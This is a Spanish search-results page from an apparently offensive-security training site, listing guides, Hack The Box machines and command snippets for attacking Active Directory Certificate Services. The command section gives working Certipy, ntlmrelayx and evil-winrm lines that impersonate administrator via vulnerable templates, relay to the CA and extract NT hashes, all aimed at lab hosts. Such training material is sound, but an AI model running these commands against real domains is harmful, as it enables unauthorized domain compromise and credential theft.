Buscar en todo
53 resultados para «adcs»
Guías 6
- ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16) Encontrar plantillas y CA vulnerables de ADCS con Certipy y explotar ESC1, ESC4, ESC7, ESC8, ESC9 y ESC16, con el error típico de cada caso.
- Mejores máquinas de Hack The Box para aprender Active Directory 21 máquinas de HTB para aprender Active Directory de fácil a insane, qué técnica enseña cada una y en qué orden hacerlas para preparar OSCP, CPTS o CRTP.
- Captura y NTLM relay: Responder, ntlmrelayx y coerción con PetitPotam Capturar hashes NetNTLMv2 con Responder, saber cuándo se pueden retransmitir (firma SMB, LDAP, ADCS), usar ntlmrelayx y forzar autenticaciones con PetitPotam.
- Enumeración de Active Directory: usuarios, LDAP, BloodHound y password spraying Qué hacer al encontrar un controlador de dominio: enumerar sin credenciales, conseguir usuarios válidos, password spraying sin bloqueos y BloodHound.
- Abuso de ACLs en Active Directory: GenericAll, WriteDacl, Shadow Credentials y DCSync Qué hacer con cada flecha de BloodHound: cambiar contraseñas, añadirte a grupos, Shadow Credentials, darte DCSync con WriteDacl y leer LAPS o gMSA.
- Cómo detectan los antivirus y EDR en Windows: AMSI, ETW, hooks, AppLocker y CLM explicados Qué mira Defender o un EDR al ejecutar una herramienta (firmas, AMSI, ETW, hooks, callbacks del kernel), cómo saber qué protege una máquina y qué son AppLocker y CLM.
Técnicas 1
Técnicas de MITRE ATT&CK 3
Herramientas 1
Recursos y herramientas 2
- Active Directory a fondo BloodHound con consultas Cypher útiles, ADCS de ESC1 a ESC16, NTLM relay, ataques de delegación e Impacket comando a comando.
- Escalada en Windows y Active Directory Comandos para enumerar Windows y pasar a SYSTEM (SeImpersonate, servicios, AlwaysInstallElevated, credenciales) y lo básico de Active Directory (Kerberoasting, AS-REP, BloodHound, DCSync).
Máquinas 17
- Mist Hack The Box · windows · insane
- Coder Hack The Box · windows · insane
- Fries Hack The Box · windows · hard
- Anubis Hack The Box · windows · insane
- Escape Hack The Box · windows · medium
- Fluffy Hack The Box · windows · easy
- Mirage Hack The Box · windows · hard
- Logging Hack The Box · windows · medium
- Manager Hack The Box · windows · medium
- Scepter Hack The Box · windows · hard
- DarkCorp Hack The Box · windows · insane
- Authority Hack The Box · windows · medium
Rutas de aprendizaje 1
Checklists 1
Apartados de las guías 8
- Y después ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16)
- 1. ¿Hay una CA? ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16)
- Errores típicos ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16)
- 4. ESC7: eres gestor de la CA ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16)
- 5. ESC8: relay a la inscripción web ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16)
- 3. ESC4: puedes modificar la plantilla ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16)
- 6. ESC9, ESC10 y ESC16: cambiar el UPN ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16)
- 2. ESC1: la plantilla deja elegir el usuario ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16)
Comandos 13
-
Con un certificado (por ejemplo, de ADCS)
Evil-WinRM › Formas de autenticarse
evil-winrm -i 10.10.11.20 -S -c certificado.crt -k clave.key -
Plantillas de certificados vulnerables (ADCS)
Escalada en Windows y Active Directory › Active Directory › Con credenciales
certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout -
Enumerar la CA con NetExec
Active Directory a fondo › ADCS (ESC1–16) › Buscar plantillas vulnerables
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs -
Hacerla vulnerable y restaurarla
Active Directory a fondo › ADCS (ESC1–16) › ESC4 — control sobre la plantilla
certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration -
Barrido con Certipy (dice el ESC)
Active Directory a fondo › ADCS (ESC1–16) › Buscar plantillas vulnerables
certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout -
Pedir el certificado con otro SAN
Active Directory a fondo › ADCS (ESC1–16) › ESC1 — SAN arbitrario (suplantar a cualquiera)
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected] -
Autenticarse con el cert y sacar el hash NT
Active Directory a fondo › ADCS (ESC1–16) › ESC1 — SAN arbitrario (suplantar a cualquiera)
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20 -
Relay a la CA (ESC8) para un cert del equipo
Active Directory a fondo › NTLM relay › Montar el relay
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController -
Relayear a la CA y obtener un cert del equipo
Active Directory a fondo › ADCS (ESC1–16) › ESC8 — relay HTTP a la interfaz web de la CA
certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController -
ESC3: pedir un cert de agente y, con él, uno a nombre de otro
Active Directory a fondo › ADCS (ESC1–16) › ESC2/ESC3 — Any Purpose y Enrollment Agent
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx -
ESC15: aplicación-política con EKU de autenticación de cliente
Active Directory a fondo › ADCS (ESC1–16) › ESC13/ESC14/ESC15/ESC16
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication' -
Cambiar el UPN de un usuario que controlas y pedir el cert como él
Active Directory a fondo › ADCS (ESC1–16) › ESC9/ESC10 — sin mapeo fuerte de certificados
certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]